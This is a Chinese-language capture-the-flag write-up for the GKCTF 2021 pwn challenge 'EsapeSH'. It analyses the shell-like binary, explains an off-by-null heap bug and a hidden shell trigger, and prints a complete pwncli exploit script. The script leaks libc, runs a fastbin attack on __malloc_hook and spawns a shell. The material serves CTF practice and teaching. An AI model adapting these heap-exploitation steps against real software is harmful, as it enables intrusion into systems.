GKCTF-2021-EsapeSH
GKCTF-2021-EsapeSH
总结
根据本题,学习与收获有:
- 碰到分支比较复杂,流程比较长的题目,首先定位一下有没有泄露出
flag
的地方,有没有执行system("/bin/sh")
的地方,可以快速定位到漏洞点 - 对于
off by null
漏洞,需要借助系统残留的fd
和bk
指针进行unlink
,而且一般是三明治结构,低地址的chunk
是被unlink
的对象,中间夹着可能正在使用的chunk
,高地址的chunk
则是被释放,并触发合并操作 - 有些版本的
2.23
已经加上了对presize
的检查,需要注意伪造 dl_iterate_phdr
函数会迭代访问所有的共享对象,然后每个对象都调用回调函数进行处理,可以对共享so
进行操作
题目分析
checksec
保护全开,根据给的libc.so.6
可以查到版本位2.23
函数分析
本题主要是实现了bash
的部分功能,感觉可以参考着出个题。这里只分析主要的函数。
main
主要流程为:
- 初始化三个文件流
- 获取主机名、用户名等进行登录
- 获取到当前的路径,然后获取用户的输入
- 处理用户的输入,用空格分隔用户的输入,并且每个子串都调用
malloc
分配一个chunk
,存储用户输入的字符串 - 判断输入的第一个子串是否是一个有效的命令,如果是有效的命令,则调用
exec_cmd
进行相应的处理,否则抛出个错误 - 释放给用户输入字符分配的内存
get_input_process
exec_cmd
就是根据第一个子串判断是否执行对应的命令
漏洞点
漏洞点找到了两个:
-
get_input_process
中的strcpy
存在off by null
漏洞 -
monitor
命令中,如果__malooc_hook
的前7
个字符位monitor
,则会执行system("/bin/sh")
利用思路
利用步骤:
- 使用
off by null
先堆风水 - 利用
echo
来泄露出main_arena+88
的地址 - 利用
0x70
大小的fastbin chunk
分配到__malloc_hook
上方,修改为monitor
即可拿到题目给的shell
需要注意的是,在伪造presize
和size
的时候,需要用strcpy
来逐步一个字节一个字节的去刷零
exp
from pwncli import *
cli_script()
p = gift['io']
def exec_cmd(*cmd):
jo = " "
if isinstance(cmd[0], bytes):
jo = b" "
p.sendlineafter("$ ", jo.join(cmd).strip())
# four chunks
exec_cmd("a" * 0x90, "a" * 0x60, "a" * 0xf0, "a" * 0x10)
# off by null
exec_cmd("a" * 0x68)
# clear
for i in range(1, 9):
exec_cmd("a" * (0x68 - i))
# unlink
exec_cmd("a" * 0x60 + "\x10\x01", "a" * 0xf0)
# # split chunk 0x110 ...
exec_cmd("a" * (0x100 - 1), "a" * 0x30, "a" * 0x30, "a" * 0x30, "a" * 0x30)
# clear and set 0x71
exec_cmd("a" * 0x9f)
for i in range(1, 7):
exec_cmd("a" * (0x9f - i - 1) + "\x71")
# leak addr
exec_cmd("echo", "a" * (0x60 - 1), "a" * (0x90 - 1))
leak_libc_addr = p.recvuntil(" a")[:-2]
leak_libc_addr = u64(leak_libc_addr.ljust(8, b"\x00"))
log_address("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b78
log_address("libc_base_addr", libc_base_addr)
exec_cmd("a" * 0xa7)
exec_cmd("a" * 0xa6)
target = libc_base_addr + 0x3c4b10 - 0x23
exec_cmd(b"a"*0xa0+p64(target)[:-2])
# fastbin attack
exec_cmd("a" * 0x9f)
for i in range(1, 7):
exec_cmd("a" * (0x9f - i - 1) + "\x71")
exec_cmd("monitor", "a" * 0x60, "a"*0x13 + "monitora" + "a" * 0x45)
p.interactive()
远程打:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli
本文来自博客园,作者:LynneHuan,转载请注明原文链接:https://www.cnblogs.com/LynneHuan/p/15229711.html